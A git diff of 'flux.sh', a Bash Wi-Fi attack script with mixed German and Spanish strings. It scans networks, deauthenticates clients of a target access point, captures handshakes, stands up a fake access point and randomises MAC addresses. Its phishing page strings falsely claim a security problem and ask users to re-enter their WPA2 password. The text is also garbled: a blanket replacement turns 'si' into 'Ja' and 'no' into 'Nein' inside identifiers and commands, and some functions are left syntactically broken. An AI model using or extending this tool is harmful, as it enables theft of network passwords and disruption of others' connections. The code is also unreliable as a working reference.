diff --git a/flux.sh b/flux.sh
index abaf438..a97bbb5 100644
--- a/flux.sh
+++ b/flux.sh
@@ -1,42 +1,50 @@
#!/bin/bash
-########## Modo DEBUG ##########
+########## Modus Debug #########
## ##
- flux_DEBUG=0
+ Flux_DEBUG=0
## ##
################################
################################
# Name : Flux
-# Version : 0.01
+# Version : 0.03
# ##############################
+###############################
+# Bug:
+# conditional_clear()
+# negative channel
+# html page
+################################
+
+#fixed soon
+#2
clear
-##################################### < CONFIGURATION vom SCRIPT > #####################################
+##################################### < CONFIGURATION VOM SCRIPT > #####################################
#DUMP_PATH
DUMP_PATH="/tmp/TMPlflux"
#Anzahl der "DEAUTHTIME"
DEAUTHTIME="8"
-#Anzahl der "revision"
+#Anzahl der "reviJaon"
revision=35
-# Numero de version
-version=0.101
+# Numero de verJaon
+version=0.03
# IP DHCP
IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
#Farben
-#Colores
-Weis="\033[1;37m"
-Grau="\033[0;37m"
-Magenta="\033[0;35m"
-Rot="\033[1;31m"
-Gruen="\033[1;32m"
-Gelb="\033[1;33m"
-Blau="\033[1;34m"
-Transparent="\e[0m"
+weis="\033[1;37m"
+grau="\033[0;37m"
+magenta="\033[0;35m"
+rot="\033[1;31m"
+gruen="\033[1;32m"
+gelb="\033[1;33m"
+blau="\033[1;34m"
+transparent="\e[0m"
# Debug / Entwickler MODUS
if [ $FLUX_DEBUG = 1 ]; then
@@ -50,17 +58,20 @@ fi
function conditional_clear() {
- if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi
+ if [[ "$linset_output_device" != "/dev/stdout" ]]; then clear; fi
}
-# Check Updates [NOT WORKING]
+# Check Updates [NeinT WORKING]
+# Updates könnnen nicht abgeruen werden da die Seite nicht verfügbar ist
+# Für event. rückfragen deltaxflux@github.com
+
function checkupdatess {
- revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/flux" 2>/dev/null| grep "^revision" | cut -d "=" -f2)"
- if [ -z "$revision_online" ]; then
+ reviJaon_online="$(timeout -s JaGTERM 20 curl -L "https://Jates.google.com/Jate/flux" 2>/dev/null| grep "^reviJaon" | cut -d "=" -f2)"
+ if [ -z "$reviJaon_online" ]; then
echo "?">$DUMP_PATH/Irev
else
- echo "$revision_online">$DUMP_PATH/Irev
+ echo "$reviJaon_online">$DUMP_PATH/Irev
fi
}
@@ -79,15 +90,1544 @@ function spinner {
done
printf " \b\b\b\b"
}
+# Debug Modus
+if [ "$FLUX_DEBUG" = "1" ]; then
+ trap 'err_report $FLUX' ERR
+fi
+
+# ERROR
+function err_report {
+ echo "Error 002 $1"
+}
+# Script
+trap exitmode SIGINT
+
+#Wichtig nicht editieren
+#Hindergrundprozesse löchen / Anwirken um event.
+###########################################################################
function exitmode {
- echo -e "\n\n"$Weis["$Rot" "$Weiß"] "$rot"ERROR 01"$Transparent"
+ echo -e "\n\n"$weis["$Rot" "$weis"] "$rot"ERROR 01"$Transparent"
if ps -A | grep -q aireplay-ng; then
- echo -e ""$Weis"["$Rot"-"$Weis"] "$Weis "Matando "$Grau "aireplay-ng"$Transparent
- killall aireplay-ng &>$linset_output_device
+ echo -e ""$weis"["$Rot"-"$weis"] "$weis "Matando "$Grau "aireplay-ng"$Transparent
+ killall aireplay-ng &>$flux_output_device
fi
+ if ps -A | grep -q airodump-ng; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"airodump-ng"$transparent""
+ killall airodump-ng &>$flux_output_device
+ fi
+
+ if ps a | grep python| grep fakedns; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"python"$transparent""
+ kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device
+ fi
+
+ if ps -A | grep -q hostapd; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"hostapd"$transparent""
+ killall hostapd &>$flux_output_device
+ fi
+
+ if ps -A | grep -q lighttpd; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"lighttpd"$transparent""
+ killall lighttpd &>$flux_output_device
+ fi
+
+ if ps -A | grep -q dhcpd; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"dhcpd"$transparent""
+ killall dhcpd &>$flux_output_device
+ fi
+
+ if ps -A | grep -q mdk3; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"mdk3"$transparent""
+ killall mdk3 &>$flux_output_device
+ fi
+
+ if [ "$WIFI_MONITOR" != "" ]; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Interface erkennen "$gruen"$WIFI_MONITOR"$transparent""
+ airmon-ng stop $WIFI_MONITOR &> $flux_output_device
+ fi
+
+ if [ "$WIFI" != "" ]; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Interface erkennen "$gruen"$WIFI"$transparent""
+ airmon-ng stop $WIFI &> $flux_output_device
+ fi
+
+ if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Restaurando "$grau"ipforwarding"$transparent""
+ echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
+ fi
+
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Limpiando "$grau"iptables"$transparent""
+ iptables --flush
+ iptables --table nat --flush
+ iptables --delete-chain
+ iptables --table nat --delete-chain
+
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Restaurando "$grau"tput"$transparent""
+ tput cNeinrm
+
+ if [ $flux_DEBUG != 1 ]; then
+
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Eliminando "$grau"archivos"$transparent""
+ rm -R $DUMP_PATH/* &>$flux_output_device
+ fi
+
+ echo -e ""$weis"["$rot"-"$weis"] "$weis"Reiniciando "$grau"Netzwerk Manager"$transparent""
+ service restart networkmanager &> $flux_output_device &
+
+ echo -e ""$weis"["$gruen"+"$weis"] "$gruen"Limpiza efectuada con exito!"$transparent""
+ exit
+
+}
+# Web Interface
+# Mehr Informationen Jaehe HTML Seite
+# Interface vom Script DE
+readarray -t webinterfaces < <(echo -e "Interface
+\e[1;31mBeenden"$transparent""
+)
+
+
+
+
+# Web Interface
+readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG]
+\e[1;31mAtras"$transparent ""
+)
+
+#Interface in GUI in DE
+DIALOG_WEB_INFO_ENG="Da ein Jacherheitsproblem aufgetreten ist "$Host_ENC" Geben Jae bitte den WPA2 Schlüssel erneut ein um ihre Identität zu überprüfen"
+DIALOG_WEB_INPUT_ENG="Geben Jae ihre WPA2 Password ein"
+DIALOG_WEB_SUBMIT_ENG="Submit"
+DIALOG_WEB_ERROR_ENG="Error: Das eingegebene Passwort ist falsch korrekt !"
+DIALOG_WEB_OK_ENG="Vielen Dank ihre Verbindung wird in wenigen Minuten wieder hergestellt"
+DIALOG_WEB_BACK_ENG="Zurück"
+DIALOG_WEB_LENGHT_MIN_ENG="Das Passwort müsst länger als 7 Zeichen sein"
+DIALOG_WEB_LENGHT_MAX_ENG="Das Passwort müsst kürzer als 64 Zeichen sein"
+
+#GUI
+
+function mostrarheader(){
+
+ clear
+ echo -e "$gruen#########################################################"
+ echo -e "$gruen# #"
+ echo -e "$gruen#$rot FLUX $verJaon" "${gelb}by ""${azul}Deltax""$gruen #"
+ echo -e "$gruen#""${rot} F""${gelb}lux" "${rot}I""${gelb}s" ""${rot}"a" ""${rot}S""${gelb}ocial ""${rot}E""${gelb}nginering" "${rot}T""${gelb}ool""$gruen" #"
+ echo -e "$gruen# #"
+ echo -e "$gruen#########################################################""$transparent "
+ echo
+ echo
+}
+
+#Admin Rechte überprüfen
+if ! [ $(id -u) = "0" ] 2>/dev/null; then
+ echo -e "\e[1;31mJae haben keine Admin Rechte"$transparent""
+ echo "Bitte starten Jae neu; sudo ./flux.sh"
+ exit
+fi
+
+# Programme überprüfen mit HASH
+# FÜr mehr informationen siehe FLUX WIKI
+
+function checkdependences {
+
+ echo -ne "Aircrack-ng....."
+ if ! hash aircrack-ng 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Aireplay-ng....."
+ if ! hash aireplay-ng 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Airmon-ng......."
+ if ! hash airmon-ng 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Airodump-ng....."
+ if ! hash airodump-ng 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Awk............."
+ if ! hash awk 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Curl............"
+ if ! hash curl 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Dhcpd..........."
+ if ! hash dhcpd 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)"
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Hostapd........."
+ if ! hash hostapd 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Iwconfig........"
+ if ! hash iwconfig 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Lighttpd........"
+ if ! hash lighttpd 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Macchanger......"
+ if ! hash macchanger 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Mdk3............"
+ if ! hash mdk3 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Php5-cgi........"
+ if ! [ -f /usr/bin/php-cgi ]; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Pyrit..........."
+ if ! hash pyrit 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Python.........."
+ if ! hash python 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Unzip..........."
+ if ! hash unzip 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ echo -ne "Xterm..........."
+ if ! hash xterm 2>/dev/null; then
+ echo -e "\e[1;31mNot installed"$transparent""
+ salir=1
+ else
+ echo -e "\e[1;32mOK!"$transparent""
+ fi
+ sleep 0.025
+
+ if [ "$salir" = "1" ]; then
+ exit 1
+ fi
+
+ sleep 1
+ clear
+}
+
+
+mostrarheader
+checkdependences
+if [ ! -d $DUMP_PATH ]; then
+ mkdir $DUMP_PATH &>$flux_output_device
+fi
+
+# Intro del script
+if [ $flux_DEBUG != 1 ]; then
+
+
+ tput civis
+ checkupdatess &
+ spinner "$!"
+ reviJaon_online=$(cat $DUMP_PATH/Irev)
+ echo -e ""$weis" [${magenta}${reviJaon_online}$weis"$transparent"]"
+ if [ "$reviJaon_online" != "?" ]; then
+
+ if [ "$reviJaon" != "$reviJaon_online" ]; then
+
+ cp $0 $HOME/flux_rev-$reviJaon.backup
+ sleep 5
+ chmod +x $0
+ exec $0
+
+ fi
+ fi
+ echo ""
+ tput cNeinrm
+ sleep 2
+
+fi
+
+
+function infoap {
+
+ Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
+ Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | awk '{ print $5,$6,$7 }'`
+ echo "Info das WLAN"
+ echo
+ echo -e " "$gruen"SJaD"$transparent" = $Host_SJaD / $Host_ENC"
+ echo -e " "$gruen"Channel"$transparent" = $channel"
+ echo -e " "$gruen"Beacon"$transparent" = ${speed:2} Mbps"
+ echo -e " "$gruen"MAC "$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")"
+ echo
+}
+
+
+####################### GUI - Menü #########################################
+#Automatische erkennung der Auflösung
+function setresolution {
+
+ function resA {
+ # Upper left window +0+0 (Jaze*Jaze+poJation+poJation)
+ TOPLEFT="-geometry 90x13+0+0"
+ # Upper right window -0+0
+ TOPRIGHT="-geometry 83x26-0+0"
+ # Bottom left window +0-0
+ BOTTOMLEFT="-geometry 90x24+0-0"
+ # Bottom right window -0-0
+ BOTTOMRIGHT="-geometry 75x12-0-0"
+ TOPLEFTBIG="-geometry 91x42+0+0"
+ TOPRIGHTBIG="-geometry 83x26-0+0"
+ }
+
+ function resB {
+ # Upper left window +0+0 (Jaze*Jaze+poJation+poJation)
+ TOPLEFT="-geometry 92x14+0+0"
+ # Upper right window -0+0
+ TOPRIGHT="-geometry 68x25-0+0"
+ # Bottom left window +0-0
+ BOTTOMLEFT="-geometry 92x36+0-0"
+ # Bottom right window -0-0
+ BOTTOMRIGHT="-geometry 74x20-0-0"
+ TOPLEFTBIG="-geometry 100x52+0+0"
+ TOPRIGHTBIG="-geometry 74x30-0+0"
+ }
+ function resC {
+ # Upper left window +0+0 (Jaze*Jaze+poJation+poJation)
+ TOPLEFT="-geometry 100x20+0+0"
+ # Upper right window -0+0
+ TOPRIGHT="-geometry 109x20-0+0"
+ # Bottom left window +0-0
+ BOTTOMLEFT="-geometry 100x30+0-0"
+ # Bottom right window -0-0
+ BOTTOMRIGHT="-geometry 109x20-0-0"
+ TOPLEFTBIG="-geometry 100x52+0+0"
+ TOPRIGHTBIG="-geometry 109x30-0+0"
+ }
+ function resD {
+ # Upper left window +0+0 (Jaze*Jaze+poJation+poJation)
+ TOPLEFT="-geometry 110x35+0+0"
+ # Upper right window -0+0
+ TOPRIGHT="-geometry 99x40-0+0"
+ # Bottom left window +0-0
+ BOTTOMLEFT="-geometry 110x35+0-0"
+ # Bottom right window -0-0
+ BOTTOMRIGHT="-geometry 99x30-0-0"
+ TOPLEFTBIG="-geometry 110x72+0+0"
+ TOPRIGHTBIG="-geometry 99x40-0+0"
+ }
+ function resE {
+ # Upper left window +0+0 (Jaze*Jaze+poJation+poJation)
+ TOPLEFT="-geometry 130x43+0+0"
+ # Upper right window -0+0
+ TOPRIGHT="-geometry 68x25-0+0"
+ # Bottom left window +0-0
+ BOTTOMLEFT="-geometry 130x40+0-0"
+ BOTTOMRIGHT="-geometry 132x35-0-0"
+ TOPLEFTBIG="-geometry 130x85+0+0"
+ TOPRIGHTBIG="-geometry 132x48-0+0"
+ }
+ function resF {
+ # Upper left window +0+0 (Jaze*Jaze+poJation+poJation)
+ TOPLEFT="-geometry 100x17+0+0"
+ # Upper right window -0+0
+ TOPRIGHT="-geometry 90x27-0+0"
+ BOTTOMLEFT="-geometry 100x30+0-0"
+ # Bottom right window -0-0
+ BOTTOMRIGHT="-geometry 90x20-0-0"
+ TOPLEFTBIG="-geometry 100x70+0+0" INICIAL )
+ TOPRIGHTBIG="-geometry 90x27-0+0"
+
+detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimenJaons | tr -s " " | cut -d" " -f 3)
+## A) 1024x600
+## B) 1024x768
+## C) 1280x768
+## D) 1280x1024
+## E) 1600x1200
+case $detectedresolution in
+ "1024x600" ) resA ;;
+ "1024x768" ) resB ;;
+ "1280x768" ) resC ;;
+ "1366x768" ) resC ;;
+ "1280x1024" ) resD ;;
+ "1600x1200" ) resE ;;
+ "1366x768" ) resF ;;
+ * ) resA ;; ## Fall
+esac
+}
+
+
+#Interface [Automatische Erkennung der Auflösung]
+#Jaehe Abschnitt 1
+function setinterface {
+
+
+ KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'`
+
+ for monkill in ${KILLMONITOR[@]}; do
+ airmon-ng stop $monkill >$flux_output_device
+ echo -n "$monkill, "
+ done
+
+ readarray -t wirelesJafaces < <(airmon-ng |grep "-" | awk '{print $1}')
+
+ INTERFACESNUMBER=`airmon-ng| grep -c "-"`
+
+ echo
+ echo
+ echo Automatische erkennung der Auflösung
+ echo $detectedresolution
+ echo
+
+ #Netzwerk Interface
+ if [ "$INTERFACESNUMBER" -gt "0" ]; then
+
+ echo "Wählen Jae ihre Wlan Interface"
+ echo
+ i=0
+
+ for line in "${wirelesJafaces[@]}"; do
+ i=$(($i+1))
+ wirelesJafaces[$i]=$line
+ echo -e "$gruen""$i)"$transparent" $line"
+ done
+
+ echo -n "#? "
+ read line
+ PREWIFI=${wirelesJafaces[$line]}
+
+ if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
+ clear
+ mostrarheader
+ setinterface
+ fi
+
+ readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "Interface" | awk '{ print $2 }')
+ WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}')
+ rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1
+
+ for molesto in "${softwaremolesto[@]}"; do
+ killall "$molesto" &>$flux_output_device
+ done
+ sleep 0.5
+
+ modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1
+ sleep 0.5
+
+ # Wählen sie ihr interface
+ select PREWIFI in $INTERFACES; do
+ break;
+ done
+
+
+ WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "Wifi Monitor [wlan0mon]" | cut -d " " -f 5 | cut -d ")" -f 1)
+ WIFI_MONITOR=$WIFIMONITOR
+
+ WIFI=$PREWIFI
+
+
+ else
+ # Interface konnte nicht gefunden / erkannt werden ; quit
+ echo Kein Wlan Interface erkannt ; ...
+ sleep 5
+ exitmode
+ fi
+
+function deltax {
+
+ clear
+ CSVDB=dump-01.csv
+
+ rm -rf $DUMP_PATH/*
+
+ choosescan
+ selection
+ changer
+}
+
+function changer {
+ clear
+ macchanger -a wlan0
+ macchanger -a wlan0mon
+ macchanger -a wlan1
+ macchanger -a wlan1mon
+
+}
+
+function choosescan {
+
+ clear
+
+ while true; do
+ clear
+ mostrarheader
+
+ echo "Wählen Jae ihren Channel "
+ echo " "
+ echo -e " "$gruen"1)"$transparent" Alle Channel "
+ echo -e " "$gruen"2)"$transparent" Ausgewählte Channel "
+ echo " "
+ echo -n " #> "
+ read yn
+ echo ""
+ case $yn in
+ 1 ) Scan ; break ;;
+ 2 ) Scanchan ; break ;;
+ * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;;
+ esac
+ done
+}
+
+function Scanchan {
+
+ clear
+ mostrarheader
+
+ echo " "
+ echo " Wählen Jae einen Channel "
+ echo " "
+ echo -e " Ein Channel "$gruen"6"$transparent" "
+ echo -e " Mehrere Channel "$gruen"1-5"$transparent" "
+ echo -e " Mehrere Channel "$gruen"1,2,5-7,11"$transparent" "
+ echo " "
+ echo -n " #> "
+ read channel_number
+ set -- ${channel_number}
+ clear
+
+ rm -rf $DUMP_PATH/dump*
+ xterm $HOLD -title "Channel auswahl --> $channel_number" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR
+}
+
+function Scan {
+
+ clear
+ xterm $HOLD -title "Wlan Netzwerke" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR
+}
+
+
+
+
+function selection {
+
+ clear
+ mostrarheader
+
+
+ LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'`
+
+ if [ $LINEAS_WIFIS_CSV -le 3 ]; then
+ deltax && break
+ fi
+
+ linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'`
+ linap=`expr $linap - 1`
+ head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv
+ tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv
+ echo " Wlan Liste "
+ echo ""
+ echo " # MAC CHAN SECU PWR ESJaD"
+ echo ""
+ i=0
+
+ while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESJaD KEY;do
+ longueur=${#MAC}
+ PRIVACY=$(echo $PRIVACY| tr -d "^ ")
+ PRIVACY=${PRIVACY:0:4}
+ if [ $longueur -ge 17 ]; then
+ i=$(($i+1))
+ POWER=`expr $POWER + 100`
+ CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC`
+
+ if [ "$CLIENTE" != "" ]; then
+ CLIENTE="*"
+ fi
+
+ echo -e " ""$gruen"$i")"$weis"$CLIENTE\t""$gelb"$MAC"\t""$gruen"$CHANNEL"\t""$rot" $PRIVACY"\t ""$gelb"$POWER%"\t""$gruen"$ESJaD""$transparent""
+ aidlenght=$IDLENGTH
+ asJad[$i]=$ESJaD
+ achannel[$i]=$CHANNEL
+ amac[$i]=$MAC
+ aprivacy[$i]=$PRIVACY
+ aspeed[$i]=$SPEED
+ fi
+ done < $DUMP_PATH/dump-02.csv
+ echo
+ echo -e ""$gruen"("$weis"*"$gruen") Red con Clientes"$transparent""
+ echo ""
+ echo " Netzwerk auswahl "
+ echo -n " #> "
+ read choice
+ idlenght=${aidlenght[$choice]}
+ sJad=${asJad[$choice]}
+ channel=$(echo ${achannel[$choice]}|tr -d [:space:])
+ mac=${amac[$choice]}
+ privacy=${aprivacy[$choice]}
+ speed=${aspeed[$choice]}
+ Host_IDL=$idlength
+ Host_SPEED=$speed
+ Host_ENC=$privacy
+ Host_MAC=$mac
+ Host_CHAN=$channel
+ acouper=${#sJad}
+ fin=$(($acouper-idlength))
+ Host_SJaD=${sJad:1:fin}
+
+ clear
+
+ askAP
+}
+
+function askAP {
+
+ DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m`
+
+ if [ $DIGITOS_WIFIS_CSV -le 15 ]; then
+ selection && break
+ fi
+
+ if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then
+ fakeapmode="airbase-ng"
+ askauth
+ fi
+
+ mostrarheader
+ while true; do
+
+ infoap
+
+ echo "Modus Fake AP"
+ echo " "
+ echo -e " "$gruen"1)"$transparent" Hostapd ("$rot"Recomendado"$transparent")"
+ echo -e " "$gruen"2)"$transparent" airbase-ng "
+ echo -e " "$gruen"3)"$transparent" Atras"
+ echo " "
+ echo -n " #> "
+ read yn
+ echo ""
+ case $yn in
+ 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;;
+ 2 ) fakeapmode="airbase-ng"; askauth; break ;;
+ 3 ) selection; break ;;
+ * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;;
+ esac
+ done
+
+}
+
+########################################################################################
+########################################################################################
+
+function handshakelocation {
+
+ clear
+#Editieren Copyright by flux
+ mostrarheader
+ infoap
+ echo
+ echo -e "Speichern vom Handshark(Ej: $rot/root/micaptura.cap$transparent)"
+ echo -e "Pulsar ${gelb}ENTER$transparent para omitir"
+ echo
+ echo -n "ruta: "
+ echo -ne "$rot"
+ read handshakeloc
+ echo -ne "$transparent"
+
+#Editieren
+ if [ "$handshakeloc" = "" ]; then
+ deauthforce
+ else
+ if [ -f "$handshakeloc" ]; then
+ Host_SJaD_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2)
+ Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')
+ if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SJaD_loc" == *"$Host_SJaD"* ]]; then
+ if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "Gut,"; then
+ cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
+ webinterface
+ else
+ echo "Schlechter Handshake"
+ sleep 4
+ handshakelocation
+ fi
+ else
+ echo -e "${rot}Error$transparent!"
+ echo
+ echo -e "File ${rot}MAC$transparent"
+
+ readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#")
+ for i in "${lista_loc[@]}"; do
+ echo -e "$gruen$(echo $i | cut -d " " -f1) $gelb$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($gruen$(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)"
+ done
+
+ echo -e "Host ${gruen}MAC$transparent"
+ echo -e "$gruen#1: $gelb$Host_MAC$transparent ($gruen$Host_SJaD$transparent)"
+ sleep 7
+ handshakelocation
+ fi
+ else
+ echo -e "Archivo ${rot}Nein$transparent existe"
+ sleep 4
+ handshakelocation
+ fi
+ fi
+}
+
+function deauthforce {
+
+ clear
+
+ mostrarheader
+ while true; do
+
+ echo "TIPO DE COMPROBACION DEL HANDSHAKE"
+ echo " "
+ echo -e " "$gruen"1)"$transparent" Neinrmal"
+ echo -e " "$gruen"2)"$transparent" Zurück"
+ echo -e " "$gruen"3)"$transparent" Schließen"
+ echo " "
+ echo -n " #> "
+ read yn
+ echo ""
+ case $yn in
+ 1 ) handshakemode="Neinrmal"; askclientsel; break ;;
+ 2 ) handshakemode="hard"; askclientsel; break ;;
+ 3 ) askauth; break ;;
+ * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;;
+ esac
+ done
+}
+
+############################################### < MENU > ###############################################
+
+
+
+
+
+
+############################################# < HANDSHAKE > ############################################
+
+#Handshake
+
+function askclientsel {
+
+ clear
+
+ while true; do
+ mostrarheader
+
+ echo "Captcha Handshake vom Netzwerk"
+ echo " "
+ echo -e " "$gruen"1)"$transparent" Realizar desaut. maJava al AP objetivo"
+ echo -e " "$gruen"2)"$transparent" Realizar desaut. maJava al AP (mdk3)"
+ echo -e " "$gruen"3)"$transparent" Realizar desaut. especifica al AP objetivo"
+ echo -e " "$gruen"4)"$transparent" Volver a escanear las redes"
+ echo -e " "$gruen"5)"$transparent" Beenden"
+ echo " "
+ echo -n " #> "
+ read yn
+ echo ""
+ case $yn in
+ 1 ) deauth all; break ;;
+ 2 ) deauth mdk3; break ;;
+ 3 ) deauth esp; break ;;
+ 4 ) killall airodump-ng &>$flux_output_device; vk496; break;;
+ 5 ) exitmode; break ;;
+ * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;;
+ esac
+ done
+
+}
+
+#
+function deauth {
+
+ clear
+
+ iwconfig $WIFI_MONITOR channel $Host_CHAN
+
+ case $1 in
+ all )
+ DEAUTH=deauthall
+ capture & $DEAUTH
+ CSVDB=$Host_MAC-01.csv
+ ;;
+ mdk3 )
+ DEAUTH=deauthmdk3
+ capture & $DEAUTH &
+ CSVDB=$Host_MAC-01.csv
+ ;;
+ esp )
+ DEAUTH=deauthesp
+ HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC`
+ LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'`
+
+ if [ $LINEAS_CLIENTES -le 5 ]; then
+ DEAUTH=deauthall
+ capture & $DEAUTH
+ CSVDB=$Host_MAC-01.csv
+ deauth
+
+ fi
+
+ capture
+ for CLIENT in $HOST; do
+ Client_MAC=`echo ${CLIENT:0:17}`
+ deauthesp
+ done
+ $DEAUTH
+ CSVDB=$Host_MAC-01.csv
+ ;;
+ esac
+
+
+ deauthMENU
+
+}
+
+function deauthMENU {
+
+ Handshake_statuscheck="${grau}Jan handshake$transparent"
+
+ while true; do
+ clear
+ mostrarheader
+
+ echo "Handshake ?"
+ echo
+ echo -e "Estado del handshake: $Handshake_statuscheck"
+ echo
+ echo -e " "$gruen"1)"$transparent" Ja"
+ echo -e " "$gruen"2)"$transparent" Nein"
+ echo -e " "$gruen"3)"$transparent" Nein"
+ echo -e " "$gruen"4)"$transparent" Nur rot makierten (Ausgewählten)"
+ echo -e " "$gruen"5)"$transparent" Beenden"
+ echo " "
+ echo -n ' #> '
+ read yn
+
+ case $yn in
+ 1 ) checkhandshake;;
+ 2 ) capture; $DEAUTH & ;;
+ 3 ) clear; askclientsel; break;;
+ 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;;
+ 5 ) exitmode; break;;
+ * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;;
+ esac
+
